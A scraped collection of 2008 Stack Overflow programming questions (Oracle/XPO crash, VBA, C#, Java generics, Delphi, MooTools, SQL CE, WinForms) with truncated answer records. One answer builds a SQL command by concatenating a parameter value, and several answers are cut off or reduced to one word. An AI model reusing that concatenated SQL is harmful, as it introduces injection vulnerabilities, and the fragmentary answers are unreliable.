<p>We have an x-files problem with our .NET application. Or, rather, hybrid Win32 and .NET application.</p> <p>When it attempts to communicate with Oracle, it just dies. Vanishes. Goes to the big black void in the sky. No event log message, no exception, no nothing.</p> <p>If we simply ask the application to talk to a MS SQL Server instead, which has the effect of replacing the usage of OracleConnection and related classes with SqlConnection and related classes, it works as expected.</p> <p>Today we had a breakthrough.</p> <p>For some reason, a customer had figured out that by placing all the application files in a directory on his desktop, it worked as expected with Oracle as well. Moving the directory down to the root of the drive, or in C:\Temp or, well, around a bit, made the crash reappear.</p> <p>Basically it was 100% reproducable that the application worked if run from directory on desktop, and failed if run from directory in root.</p> <p>Today we figured out that the difference that counted was wether there was a space in the directory name or not.</p> <p>So, these directories would work:</p> <pre><code>C:\Program Files\AppDir\Executable.exe C:\Temp Lemp\AppDir\Executable.exe C:\Documents and Settings\someuser\Desktop\AppDir\Executable.exe </code></pre> <p>whereas these would not:</p> <pre><code>C:\CompanyName\AppDir\Executable.exe C:\Programfiler\AppDir\Executable.exe &lt;-- Program Files in norwegian C:\Temp\AppDir\Executable.exe </code></pre> <p>I'm hoping someone reading this has seen similar behavior and have a "aha, you need to twiddle the frob on the oracle glitz driver configuration" or similar.</p> <p>Anyone?</p> <hr> <p><strong>Followup #1:</strong> Ok, I've processed the procmon output now, both files from when I hit the button that attempts to open the window that triggers the cascade failure, and I've noticed that they keep track mostly, there's some smallish differences near the top of both files, and they they keep track a long way down.</p> <p>However, when one run fails, the other keeps going and the next few lines of the log output are these:</p> <pre><code>ReadFile C:\oracle\product\10.2.0\db_1\BIN\orageneric10.dll SUCCESS Offset: 274 432, Length: 32 768, I/O Flags: Non-cached, Paging I/O, Synchronous Paging I/O ReadFile C:\oracle\product\10.2.0\db_1\BIN\orageneric10.dll SUCCESS Offset: 233 472, Length: 32 768, I/O Flags: Non-cached, Paging I/O, Synchronous Paging I/O </code></pre> <p>After this, the working run continues to execute, and the other touches the mscorwks.dll files a few times before threads close down and the app closes. Thus, the failed run does not touch the above files.</p> <hr> <p><strong>Followup #2:</strong> Figured I'd try to upgrade the oracle client drivers, but 10.2.0.1 is apparently the highest version available for Windows 2003 server and XP clients.</p> <hr> <p><strong>Followup #3:</strong> Well, we've ended up with a black-box solution. Basically we found that the problem is somewhere related to <a href="http://www.devexpress.com/Products/NET/ORM/" rel="nofollow noreferrer">XPO</a> and Oracle. XPO has a system-table it manages, called XPObjectType, with three columns: Oid, TypeName and AssemblyName. Due to how Oracle is configured in the databases we talk to, the column names were OID, TYPENAME and ASSEMBLYNAME. This would ordinarily not be a problem, except that XPO talks to the schema information directly and checks if the table is there with the right column names, and XPO doesn't handle case differences so it sees a XPObjectType table with three unknown columns and none of those it expects.</p> <p>Exactly what XPO does now I don't really know, but if I dropped this table, and recreated it with the right case, using double quotes around all the column names to get the case right, the problem doesn't crop up.</p> <p>Exactly where the space in the folder name comes into this, I still have no idea, but this problem had two tiers:</p> <ol> <li>Stop the application from crashing at our customers, short-term solution</li> <li>Fix the bug, long-term solution</li> </ol> <p>Right now tier 1 is solved, tier 2 will be put back into the queue for now and prioritized. We're facing some bigger changes to our data tier anyway so this might not be a problem we need to solve, at least if all our Oracle-customers verify that the table-fix actually gets rid of the problem.</p> <p>I'll accept the answer by <a href="https://stackoverflow.com/users/24995/dave-markle">Dave Markle</a> since though Process Monitor (the big brother of File Monitor) didn't actually pinpoint the problem, I was able to use it to determine that after my breakpoint in user-code where XPO had built up the query for this table, no I/O happened until all the entries for the application closing down was logged, which led me to believe it was this table that was the culprit, or at least influenced the problem somehow.</p> <p>If I manage to get to the real cause of this, I'll update the post.</p>
[ { "answer_id": 239659, "author": "Dave Markle", "author_id": 24995, "author_profile": "https://Stackoverflow.com/users/24995", "pm_score": 3, "selected": true, "text": "FILE_NOT_FOUND" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239622", "https://Stackoverflow.com", "https://Stackoverflow.com/users/267/" ]
239,628
<p>HI,</p> <p>I am trying to write a query in vba and to save its result in a report. I am a beginner. this is what i have tried can somebody correct me</p> <pre><code>Dim cn As New ADODB.Connection, rs As New ADODB.Recordset Dim sql As String Set cn = CurrentProject.Connection sql = "Select * from table1 where empno is 0" rs.Open sql, cn While Not rs.EOF ' here i think i should save the result in a report but i am not sure how rs.MoveNext Wend rs.Close cn.Close Set rs = Nothing Set cn = Nothing </code></pre> <p>Also how do i change this query to run this on all tables in a database</p>
[ { "answer_id": 240103, "author": "BIBD", "author_id": 685, "author_profile": "https://Stackoverflow.com/users/685", "pm_score": 1, "selected": false, "text": "'...\ndim strFoo as string\ndim strBar as string\n'...\nif not rs.bof then\n rd.MoveFirst\nend if\nWhile Not rs.EOF\n strFoo...
2008/10/27
[ "https://Stackoverflow.com/questions/239628", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
239,643
<p>All I need is a way to make a property of one class only 'settable' from one other class (a sort of manager class).</p> <p>Is this even possible in c#?</p> <p>My colleague 'reliably' informs me that I have a design flaw, but I feel I should at least ask the community before I concede defeat!</p>
[ { "answer_id": 239653, "author": "milot", "author_id": 22637, "author_profile": "https://Stackoverflow.com/users/22637", "pm_score": 1, "selected": false, "text": "public string Name\n{\n get{ return _name; }\n protected set { _name = value; }\n}\n" }, { "answer_id": 239658...
2008/10/27
[ "https://Stackoverflow.com/questions/239643", "https://Stackoverflow.com", "https://Stackoverflow.com/users/17540/" ]
239,645
<p>I have an abstract Class <strong>Monitor.java</strong> which is subclassed by a Class <strong>EmailMonitor.java</strong>. </p> <p>The method:</p> <pre><code>public abstract List&lt;? extends MonitorAccount&gt; performMonitor(List&lt;? extends MonitorAccount&gt; accounts) </code></pre> <p>is defined in <strong>Monitor.java</strong> and must be overridden in <strong>EmailMonitor.java</strong>.</p> <p>I currently have the method overridden in <strong>EmailMonitor.java</strong> as follows:</p> <pre><code>@Override public List&lt;EmailAccount&gt; performMonitor(List&lt;EmailAccount&gt; emailAccounts) { //...unrelated logic return emailAccounts; } </code></pre> <p>However, this produces the compile time error: </p> <p><code>Name clash: The method performMonitor(List&lt;EmailAccount&gt;) of type EmailMonitor has the same erasure as performMonitor(Lis&lt;? extends MonitorAccount&gt; emailAccounts) of type Monitor but does not override it</code></p> <p><code>EmailAccount</code> is a subclass of <code>MonitorAccount</code>, so (in my mind at least) overriding it in this way makes perfect sense. Seeing as the compiler is not happy with my logic though, How should I go about this correctly while still keeping my compile time checks to make sure that all calls to <code>EmailMonitor.performMonitor()</code> receive Lists of <code>EmailAccount</code> rather than some other type of <code>MonitorAccount</code>? </p></p>
[ { "answer_id": 239663, "author": "Jon Skeet", "author_id": 22656, "author_profile": "https://Stackoverflow.com/users/22656", "pm_score": 6, "selected": true, "text": "Monitor x = new EmailMonitor();\nList<NonEmailAccount> nonEmailAccounts = ...;\nx.performMonitor(nonEmailAccounts);\n" ...
2008/10/27
[ "https://Stackoverflow.com/questions/239645", "https://Stackoverflow.com", "https://Stackoverflow.com/users/31749/" ]
239,669
<p>I'm occasionaly getting the following popup from an AJAX.NET application</p> <pre>Sys.WebForms.PageRequestManagerServerErrorException: An Unknown error occurred while processing the request on the server. The status code returned from the server was: 12031</pre> <p>From the <a href="http://support.microsoft.com/kb/193625" rel="noreferrer">Microsoft kb</a> that status code indicates a ERROR_INTERNET_CONNECTION_RESET, but it doesn't state what was the underlying issue the triggered the error in the first place.</p> <p>How can I log/trace/etc the underlying error that generated the popup?</p>
[ { "answer_id": 6535792, "author": "Sergii.PSP", "author_id": 802837, "author_profile": "https://Stackoverflow.com/users/802837", "pm_score": 1, "selected": false, "text": "<sessionState mode=\"InProc\" cookieless=\"true\" timeout=\"720\"/>;\n" }, { "answer_id": 9526511, "auth...
2008/10/27
[ "https://Stackoverflow.com/questions/239669", "https://Stackoverflow.com", "https://Stackoverflow.com/users/12772/" ]
239,682
<p>When reading the registry for file names I get 3 entries loading into my combo box for every 1 registry entry. If I have 1 file listed in the registry I would see :</p> <p>Combo box values:</p> <p>c:\file1.txt</p> <p>&lt;-----Blank here</p> <p>c:\file1.txt</p> <p>I have found the problem lies in this code, it hits 'if (previousFiles != null)' 3 times. How should I correct this?</p> <pre><code>for (int i = 0; i &lt;= 5; i++) { Object previousFiles = OurKey.GetValue("Files" + i); if (previousFiles != null) { comboBox1.Items.Add(previousFiles.ToString()); } } </code></pre> <p>Many thanks Monday morning blues!</p>
[ { "answer_id": 239694, "author": "blowdart", "author_id": 2525, "author_profile": "https://Stackoverflow.com/users/2525", "pm_score": 0, "selected": false, "text": "Object previousFiles = OurKey.GetValue(\"Files\" + i) as string;\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239682", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
239,687
<p>Other than using raw XML, is there an easy way in .NET to open and read a config file belonging to another assembly...? I don't need to write to it, just grab a couple of values from it.</p>
[ { "answer_id": 239698, "author": "Marc Gravell", "author_id": 23354, "author_profile": "https://Stackoverflow.com/users/23354", "pm_score": 2, "selected": false, "text": "ConfigurationManager" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239687", "https://Stackoverflow.com", "https://Stackoverflow.com/users/983/" ]
239,722
<p>I want to perform some transformations on C source code. <strong>I need a tool on linux that generates a complete AST from the source code</strong> so that I can apply my transformations on this AST and then convert it back to the C source code. I tried <a href="http://www.cs.berkeley.edu/~smcpeak/elkhound/sources/elsa/" rel="noreferrer">ELSA</a> but it is not getting compiled. (I am using Ubuntu 8.4). Can anyone suggest a better tool/application? </p>
[ { "answer_id": 27824040, "author": "Ivan Baidakou", "author_id": 2625346, "author_profile": "https://Stackoverflow.com/users/2625346", "pm_score": 2, "selected": false, "text": "xml\n <cscan>\n <typedef_hash>\n <typedef id=\"GLenum\" before=\"unsigned int\" after=\"\" file=\"/usr/inc...
2008/10/27
[ "https://Stackoverflow.com/questions/239722", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2745562/" ]
239,725
<p>When I try to add a HTTP header key/value pair on a <code>WebRequest</code> object, I get the following exception:</p> <blockquote> <p>This header must be modified using the appropriate property</p> </blockquote> <p>I've tried adding new values to the <code>Headers</code> collection by using the Add() method but I still get the same exception.</p> <pre><code>webRequest.Headers.Add(HttpRequestHeader.Referer, "http://stackoverflow.com"); </code></pre> <p>I can get around this by casting the WebRequest object to a HttpWebRequest and setting the properties such as <code>httpWebReq.Referer ="http://stackoverflow.com"</code>, but this only works for a handful of headers that are exposed via properties.</p> <p>I'd like to know if there's a way to get a finer grained control over modifying headers with a request for a remote resource.</p>
[ { "answer_id": 239847, "author": "Marc Gravell", "author_id": 23354, "author_profile": "https://Stackoverflow.com/users/23354", "pm_score": 1, "selected": false, "text": "HttpWebRequest" }, { "answer_id": 331317, "author": "Jerod Venema", "author_id": 25330, "author_p...
2008/10/27
[ "https://Stackoverflow.com/questions/239725", "https://Stackoverflow.com", "https://Stackoverflow.com/users/17211/" ]
239,732
<p>I have heard from people who have switched either way and who swear by the one or the other.</p> <p>Being a huge Eclipse fan but having not had the time to try out IntelliJ, I am interested in hearing from IntelliJ users who are "ex-Eclipsians" some specific things that you can do with IntelliJ that you can not do with Eclipse.</p> <p><strong>Note</strong>: This is not a subjective question nor at all meant to turn into an IDE holy war. <strong><em>Please downvote any flamebait answers</em></strong>.</p>
[ { "answer_id": 241209, "author": "Pavel Feldman", "author_id": 5507, "author_profile": "https://Stackoverflow.com/users/5507", "pm_score": 9, "selected": true, "text": "<property name=\"propName\" ref=\"<hit CTRL-SPACE>\"\n" }, { "answer_id": 241366, "author": "Darron", "...
2008/10/27
[ "https://Stackoverflow.com/questions/239732", "https://Stackoverflow.com", "https://Stackoverflow.com/users/6583/" ]
239,744
<p>I'm developing a SWT/JFace application using the libraries from Eclipse 3.4.1. I encounter the following problem on Windows (Vista 32bit) and Ubuntu 8.10 32bit:</p> <p>I create a menu bar in the createMenuManager method of the JFace ApplicationWindow. I add MenuManagers for file, edit and help.</p> <p>I then add an ExitAction to the file MenuManager like so:</p> <pre><code>filemenu.add(new ExitAction(this)); </code></pre> <p>The ExitAction is defined this way:</p> <pre><code>public class ExitAction extends Action { final ApplicationWindow window; public ExitAction(ApplicationWindow w) { this.window = w; setText("E&amp;xit"); setToolTipText("Exit the application"); setAccelerator(SWT.MOD1 + 'Q'); } } </code></pre> <p>Now when my application starts I want be able to press "CTRL+Q" to quit the application. This does however not work. Only AFTER I click on "File" in the menu bar and THEN clicking "CTRL+Q" the application will quit.</p> <p>I've tried this with different accelerators- same behavior.</p> <p>It does work however if I create a "MenuItem" instead of an "Action" to contribute to the menu bar.</p> <p>Is this a SWT bug or do I miss something?</p> <p>Torsten.</p>
[ { "answer_id": 247334, "author": "the.duckman", "author_id": 21368, "author_profile": "https://Stackoverflow.com/users/21368", "pm_score": 0, "selected": false, "text": "setAccelerator(.)" }, { "answer_id": 265135, "author": "Torsten Uhlmann", "author_id": 7143, "auth...
2008/10/27
[ "https://Stackoverflow.com/questions/239744", "https://Stackoverflow.com", "https://Stackoverflow.com/users/7143/" ]
239,746
<p>What is the correct way to check if a value is a date/number in Delphi?</p> <p>I know other languages have functions like isDate and isNaN, but what is the Delphi equivalent? at the minute I have this</p> <pre><code>function isNumeric(s1:string):boolean; begin // will throw exception if its not a number // there must be a better way to do this!! try StrTofloat(s1); result := TRUE ; except result := FALSE; end; end; </code></pre> <p>But throwing exceptions cant be good, and it makes debugging hard as I keep seeing the exception dialogue every time the code is called.</p>
[ { "answer_id": 239751, "author": "Alan", "author_id": 31223, "author_profile": "https://Stackoverflow.com/users/31223", "pm_score": 5, "selected": true, "text": "function TryStrToInt(const s: string; out i : integer): boolean;\n" }, { "answer_id": 239757, "author": "Rômulo Ce...
2008/10/27
[ "https://Stackoverflow.com/questions/239746", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2098/" ]
239,786
<p>I have put together the following mootools script</p> <pre><code> window.addEvent('domready', function() { var shouts = "timed.php"; var log = $('log_res'); function updateData (url,target) { new Ajax(url,{ method: 'get', update: $(target), onComplete: function() { log.removeClass('ajax-loading');} }).request(); log.empty().addClass('ajax-loading'); } var update = function(){ updateData ( shouts, 'log_res' ); }; update(); // call it immediately update.periodical(10000); // and then periodically }); </code></pre> <p>heres the html</p> <pre><code>&lt;div id="AJAX"&gt; &lt;h3&gt;Ajax Response&lt;/h3&gt; &lt;div id="log_res"&gt;exercise&lt;/div&gt; &lt;/div&gt; </code></pre> <p>its using moo 1.1.</p> <p>The above works fine, the page loads then the ajax request kicks in div id log_res has a class of ajax-loading whilst its updating, and when its finished the text exercise in the div is replaced with whatever the ajax has returned (yippee). But I want to put some custom HTML into the div WHILST the page is loading, because the ajax-loading class is not enough to contain the information, i also want to put a spinny flasher into the div whilst the ajax request is retrieving the information. Hope that makes sense!</p>
[ { "answer_id": 239869, "author": "Tomalak", "author_id": 18771, "author_profile": "https://Stackoverflow.com/users/18771", "pm_score": 3, "selected": true, "text": "function updateData (url, target)\n{\n var target = $(target);\n target.empty().addClass('ajax-loading');\n target.inner...
2008/10/27
[ "https://Stackoverflow.com/questions/239786", "https://Stackoverflow.com", "https://Stackoverflow.com/users/28241/" ]
239,788
<p>Creating an XPathDocument with referenced DTD sometimes throws a web exception. Why?</p>
[ { "answer_id": 28261052, "author": "Aussie Ash", "author_id": 2614736, "author_profile": "https://Stackoverflow.com/users/2614736", "pm_score": 1, "selected": false, "text": "XmlReaderSettings settings = new XmlReaderSettings();\n settings.XmlResolver = null;\n settings.ProhibitDtd = fal...
2008/10/27
[ "https://Stackoverflow.com/questions/239788", "https://Stackoverflow.com", "https://Stackoverflow.com/users/23164/" ]
239,802
<p>I'm writing an app where 3rd party vendors can write plugin DLLs and drop them into the web app's bin directory. I want the ability for these plugins to be able to register their own HttpModules if necessary. </p> <p>Is there anyway that I can add or remove HttpModules from and to the pipeline at runtime without having a corresponding entry in the Web.Config, or do I have to programmatically edit the Web.Config when adding / removing modules? I know that either way is going to cause an AppDomain restart but I'd rather be able to do it in code than having to fudge the web.config to achieve the same effect. </p>
[ { "answer_id": 240110, "author": "Aaron Fischer", "author_id": 5618, "author_profile": "https://Stackoverflow.com/users/5618", "pm_score": 7, "selected": true, "text": " public class Global : System.Web.HttpApplication\n {\n // some modules use explicit interface implementation\n ...
2008/10/27
[ "https://Stackoverflow.com/questions/239802", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2285/" ]
239,823
<p>According <a href="http://msdn.microsoft.com/en-us/library/y3bwdsh3.aspx" rel="noreferrer">this MSDN article</a> <em>HttpApplication</em>.EndRequest can be used to close or dispose of resources. However this event is not fired/called in my application.</p> <p>We are attaching the handler in Page_Load the following way:</p> <pre><code>HttpContext.Current.ApplicationInstance.EndRequest += ApplicationInstance_EndRequest; </code></pre> <p>The only way is to use the Application_EndRequest handler in Global.asax, but this is not acceptable for us. </p>
[ { "answer_id": 240199, "author": "Eduardo Campañó", "author_id": 12091, "author_profile": "https://Stackoverflow.com/users/12091", "pm_score": 5, "selected": true, "text": "public class CustomModule : IHttpModule \n{\n public void Init(HttpApplication context)\n {\n context....
2008/10/27
[ "https://Stackoverflow.com/questions/239823", "https://Stackoverflow.com", "https://Stackoverflow.com/users/18859/" ]
239,865
<p>All numbers that divide evenly into x.</p> <p>I put in 4 it returns: 4, 2, 1</p> <p>edit: I know it sounds homeworky. I'm writing a little app to populate some product tables with semi random test data. Two of the properties are ItemMaximum and Item Multiplier. I need to make sure that the multiplier does not create an illogical situation where buying 1 more item would put the order over the maximum allowed. Thus the factors will give a list of valid values for my test data.</p> <p>edit++: This is what I went with after all the help from everyone. Thanks again!</p> <p>edit#: I wrote 3 different versions to see which I liked better and tested them against factoring small numbers and very large numbers. I'll paste the results.</p> <pre><code>static IEnumerable&lt;int&gt; GetFactors2(int n) { return from a in Enumerable.Range(1, n) where n % a == 0 select a; } private IEnumerable&lt;int&gt; GetFactors3(int x) { for (int factor = 1; factor * factor &lt;= x; factor++) { if (x % factor == 0) { yield return factor; if (factor * factor != x) yield return x / factor; } } } private IEnumerable&lt;int&gt; GetFactors1(int x) { int max = (int)Math.Ceiling(Math.Sqrt(x)); for (int factor = 1; factor &lt; max; factor++) { if(x % factor == 0) { yield return factor; if(factor != max) yield return x / factor; } } } </code></pre> <p>In ticks. When factoring the number 20, 5 times each:</p> <ul> <li>GetFactors1-5,445,881</li> <li>GetFactors2-4,308,234</li> <li>GetFactors3-2,913,659 </li> </ul> <p>When factoring the number 20000, 5 times each:</p> <ul> <li>GetFactors1-5,644,457</li> <li>GetFactors2-12,117,938</li> <li>GetFactors3-3,108,182</li> </ul>
[ { "answer_id": 239877, "author": "Chris Marasti-Georg", "author_id": 96, "author_profile": "https://Stackoverflow.com/users/96", "pm_score": 6, "selected": true, "text": "public List<int> Factor(int number) \n{\n var factors = new List<int>();\n int max = (int)Math.Sqrt(number); /...
2008/10/27
[ "https://Stackoverflow.com/questions/239865", "https://Stackoverflow.com", "https://Stackoverflow.com/users/12862/" ]
239,866
<p>I'm writing a license agreement dialog box with Win32 and I'm stumped. As usual with these things I want the "accept/don't accept" buttons to become enabled when the slider of the scroll bar of the richedit control hits bottom, but I can't find a way to get notified of that event. The earliest I've been able to learn about it is when the user releases the left mouse button.</p> <p>Is there a way to do this?</p> <p>Here's what I tried so far: </p> <ul> <li><code>WM_VSCROLL</code> and <code>WM_LBUTTONUP</code> in richedit's wndproc </li> <li><code>EN_MSGFILTER</code> notification in dlgproc (yes the filter mask is getting set)</li> <li><code>WM_VSCROLL</code> and <code>WM_LBUTTONUP</code> in dlgproc.</li> <li><code>EN_VSCROLL</code> notification in dlgproc</li> </ul> <p>I got so desperate I tried polling but that didn't work either because apparently timer messages stop arriving while the mouse button is down on the slider. I tried both:</p> <ul> <li>timer callback (to poll) in dlgproc</li> <li>timer callback (to poll) in richedit's wndproc</li> </ul>
[ { "answer_id": 239928, "author": "Skizz", "author_id": 1898, "author_profile": "https://Stackoverflow.com/users/1898", "pm_score": 1, "selected": false, "text": "#include <windows.h>\n#include <richedit.h>\n\nLRESULT __stdcall RichEditSubclass\n(\n HWND window,\n UINT message,\n WPARA...
2008/10/27
[ "https://Stackoverflow.com/questions/239866", "https://Stackoverflow.com", "https://Stackoverflow.com/users/31790/" ]
239,872
<p>VS2008 Code Analysis will flag a spelling mistake in an identifier using the <code>IdentifiersShouldBeSpelledCorrectly</code> warning type.</p> <p>This process is using an American dictionary by default because words are being flagged that are correctly spelt using the British spelling. For example, words like "Organisation" and "Customisation", etc...</p> <p>I am aware that you can create your own custom Xml dictionary files that contain any words you don't want to be flagged, however, can anyone tell me if you can configure Code Analysis to use a different default (or additional) dictionary from those available in Windows?</p>
[ { "answer_id": 240440, "author": "Andy McCluggage", "author_id": 3362, "author_profile": "https://Stackoverflow.com/users/3362", "pm_score": 4, "selected": true, "text": " CodeAnalysisCulture" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239872", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3362/" ]
239,876
<p>What is the best way of storing data out to a file on a network, which will be later read in again programmatically. Target platform for the program is Linux (Fedora), but it will need to write out a file to a Windows (XP) machine</p> <p>This needs to be in C++, there will be a high number of write / read events so it needs to be efficient, and the data needs to be written out in such a way that it can be read back in easily.</p> <p>The whole file may not be being read back in, I'll need to search for a specific block of data in the file and read that back in.</p> <p>Will simple binary stream writer do? How should I store the data - XML?</p> <p>Anything else I need to worry about?</p> <hr> <p><strong>UPDATE :</strong> To clarify, here are some answers to <strong><em>peterchen's</em></strong> points</p> <blockquote> <p>Please clarify:</p> <p><strong>* do you only append blocks, or do you also need to remove / update them?</strong></p> </blockquote> <p>I only need to append to the end of the file, but will need to search through it and retrieve from any point in it</p> <blockquote> <pre><code>*** are all blocks of the same size?** </code></pre> </blockquote> <p>No, the data will vary in size - some will be free text comments (like a post here) others will be specific object-like data (sets of parameters)</p> <blockquote> <pre><code>*** is it necessary to be a single file?** </code></pre> </blockquote> <p>No, but desirable</p> <blockquote> <pre><code>*** by which criteria do you need to locate blocks?** </code></pre> </blockquote> <p>By data type and by timestamp. For example, if I periodically write out a specific set of parameters, in amognst other data, like free text, I want to find the value of those parameters at a cerain date/time - so I'll need to search for the time I wrote out those parameters nearest that date and read them back in.</p> <blockquote> <pre><code>*** must the data be readable for other applications?** </code></pre> </blockquote> <p>No.</p> <blockquote> <pre><code>*** do you need concurrent access?** </code></pre> </blockquote> <p>Yes, I may be continuing to write as I read. but should only ever do one write at a time.</p> <blockquote> <pre><code>*** Amount of data (per block / total) - kilo, mega, giga, tera?** </code></pre> </blockquote> <p>Amount of data will be low per write... from a number of bytes to a coupe hundred bytes - total should see no more than few hundred kilobytes possible a fwe megabytes. (still unsure as yet)</p> <p>**> If you need all of this, rolling your own will be a challenge, I would definitely </p> <blockquote> <p>recommend to use a database. If you need less than that, please specify so we can recommend.**</p> </blockquote> <p>A database would over complicate the system so that is not an option unfortunately.</p>
[ { "answer_id": 240406, "author": "João Augusto", "author_id": 6909, "author_profile": "https://Stackoverflow.com/users/6909", "pm_score": 2, "selected": false, "text": "struct structBlockInfo\n {\n int iTimeStamp; // TimeStamp \n char cBlockType; // Type of Data (PA...
2008/10/27
[ "https://Stackoverflow.com/questions/239876", "https://Stackoverflow.com", "https://Stackoverflow.com/users/15533/" ]
239,888
<p>What is the equivalent to the C# "!" operator in F#?</p>
[ { "answer_id": 239903, "author": "Jon Skeet", "author_id": 22656, "author_profile": "https://Stackoverflow.com/users/22656", "pm_score": 7, "selected": true, "text": "not" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239888", "https://Stackoverflow.com", "https://Stackoverflow.com/users/30056/" ]
239,905
<p>Lets say on MySQL database (if it matters).</p>
[ { "answer_id": 239960, "author": "John Rudy", "author_id": 14048, "author_profile": "https://Stackoverflow.com/users/14048", "pm_score": 5, "selected": true, "text": "SqlCommand cmd = new SqlCommand(\"exec @myProc \" + paramValue, con);\ncmd.ExecuteNonQuery();\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239905", "https://Stackoverflow.com", "https://Stackoverflow.com/users/28098/" ]
239,909
<p>I have a property called "IsSecureConnection" that is part of my object's interface. This makes sense for most implementations of the interface, however, in some implementations I would like to make the property ReadOnly. </p> <p>Should I omit this property from the object's interface even though it is required by all of the implementations (though slightly different on occasion)?</p> <p>Thanks!</p>
[ { "answer_id": 239911, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 3, "selected": false, "text": "public interface Foo{\n bool MyMinimallyReadOnlyPropertyThatCanAlsoBeReadWrite {get;}\n}\n" }, { "answer_id": 239918,...
2008/10/27
[ "https://Stackoverflow.com/questions/239909", "https://Stackoverflow.com", "https://Stackoverflow.com/users/132931/" ]
239,910
<p>We have a situation where a C# application is working with SQL CE 3.5 . To allow for a legacy program to use some of its features we have produced a C++ dll which uses interop to extract the info that it needs from the C# program. For this to work, the C#-program needs to access the database. Its not a very complex scenario.</p> <p>When trying to deploy with a private install some problems occur though. <strong>There is no problem with the C# program, it can access the database and work with it without any problems.</strong></p> <p><strong>But when trying to access functions in the C#-program through the C++ interop which forces the C#-program to access the database, we get a crash with the exception saying that "...the Provider: System.Data.SqlServerCe.3.5 is not installed".</strong></p> <p>This is obviously because we cannot add a App.config file to the executing program.</p> <p>How can we get around this? Is there another way to fix this? Any other forms of SQL CE 3.5 install methods are out of the question. So we must get this to work.</p> <p>Regards,</p> <p>P</p> <p><strong>Edit:</strong></p> <p>I'm not working against SQL CE directly, but through Linq2SQL. I have tried to add config files to all my dll's, it does not help. It seems to only matter if the executable file have got a app.config.</p> <p>The exception thrown says - The provider System.Data.SqlServerCe.3.5 is not installed.</p> <p>And the latest function to be called according to the stack trace is System.Data.Linq.SqlClient.SqlProvider.System.Data.Linq.Provider.IProvider.Initialize(...).</p> <p><strong>Edit 2</strong></p> <p>I have added all the files necessery for the deployment to work. As I wrote above, it works if I use the program dll (which uses Linq 2 Sql) through a .net executable with a app.config file that specifies where to look for the SQL CE 3.5 dll. Deployment will <em>not</em> work with only the files, an app.config file is necessary.</p> <p>The problem is that we have to use the dll file through a C++ executable which have no means of telling .net where to look for the Sql Ce 3.5 dll.</p>
[ { "answer_id": 269182, "author": "Sunlight", "author_id": 33650, "author_profile": "https://Stackoverflow.com/users/33650", "pm_score": 0, "selected": false, "text": ".exe.config" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239910", "https://Stackoverflow.com", "https://Stackoverflow.com/users/15763/" ]
239,912
<p>Is there a Python class that wraps the <code>file</code> interface (read, write etc.) around a string? I mean something like the <code>stringstream</code> classes in C++.</p> <p>I was thinking of using it to redirect the output of <code>print</code> into a string, like this</p> <pre><code>sys.stdout = string_wrapper() print "foo", "bar", "baz" s = sys.stdout.to_string() #now s == "foo bar baz" </code></pre> <p>EDIT: This is a duplicate of <a href="https://stackoverflow.com/questions/141449/how-do-i-wrap-a-string-in-a-file-in-python">How do I wrap a string in a file in Python?</a></p>
[ { "answer_id": 239929, "author": "Peter Hoffmann", "author_id": 720, "author_profile": "https://Stackoverflow.com/users/720", "pm_score": 5, "selected": true, "text": "import StringIO\nimport sys\n\n\nsys.stdout = StringIO.StringIO()\nprint \"foo\", \"bar\", \"baz\"\ns = sys.stdout.getva...
2008/10/27
[ "https://Stackoverflow.com/questions/239912", "https://Stackoverflow.com", "https://Stackoverflow.com/users/30579/" ]
239,934
<p>I am using Oracle 10g R2. Recently, after rebooting the server, I started having a problem where I couldn't connect to the instance. I am only connecting locally on the server itself. </p> <p>Oddly enough, the issue corrects itself if I start the Database Administration Assistant, and select my instance to supposedly change its settings. </p> <p>Does anybody have a clue on the roots of this problem?</p> <p>@akaDruid: I am testing my connection simply by trying to start SQLPlus on the server. </p> <p>@Matthew: It's Windows</p>
[ { "answer_id": 240005, "author": "Colin Pickard", "author_id": 12744, "author_profile": "https://Stackoverflow.com/users/12744", "pm_score": 2, "selected": false, "text": "C:\\Documents and Settings\\user>lsnrctl status\n\nLSNRCTL for 32-bit Windows: Version 10.2.0.1.0 - Production on 27...
2008/10/27
[ "https://Stackoverflow.com/questions/239934", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3751/" ]
239,938
<p>i'm trying to change the number of rows in a <a href="http://msdn.microsoft.com/en-us/library/system.windows.forms.tablelayoutpanel.aspx" rel="nofollow noreferrer">TableLayoutPanel</a> programatically (sometimes it needs to be four, sometimes five, and rarely six).</p> <p>Unfortunatly changing the number of rows does not keep the <a href="http://msdn.microsoft.com/en-us/library/system.windows.forms.tablelayoutpanel.rowstyles.aspx" rel="nofollow noreferrer"><code>RowStyles</code></a> collection in sync, so you are then not able to set the height of the newly added rows. The following test code demonstrates this fact:</p> <pre><code>private void button1_Click(object sender, EventArgs e) { //TableLayoutPanels start with 2 rows by default. Debug.Assert(tableLayoutPanel1.RowStyles.Count == tableLayoutPanel1.RowCount); //Cannot remove rows tableLayoutPanel1.RowCount = 1; Debug.Assert(tableLayoutPanel1.RowStyles.Count == tableLayoutPanel1.RowCount); } </code></pre> <p>The second assertion fails.</p> <pre><code>private void button2_Click(object sender, EventArgs e) { //TableLayoutPanels start with 2 rows by default. Debug.Assert(tableLayoutPanel1.RowStyles.Count == tableLayoutPanel1.RowCount); //Cannot add rows tableLayoutPanel1.RowCount = 6; Debug.Assert(tableLayoutPanel1.RowStyles.Count == tableLayoutPanel1.RowCount); } </code></pre> <p>The second assertion fails.</p> <p>So what's the proper programatic way to set the <a href="http://msdn.microsoft.com/en-us/library/system.windows.forms.tablelayoutpanel.rowcount.aspx" rel="nofollow noreferrer"><code>RowCount</code></a> property of a <a href="http://msdn.microsoft.com/en-us/library/system.windows.forms.tablelayoutpanel.aspx" rel="nofollow noreferrer"><code>TableLayoutPanel</code></a>?</p>
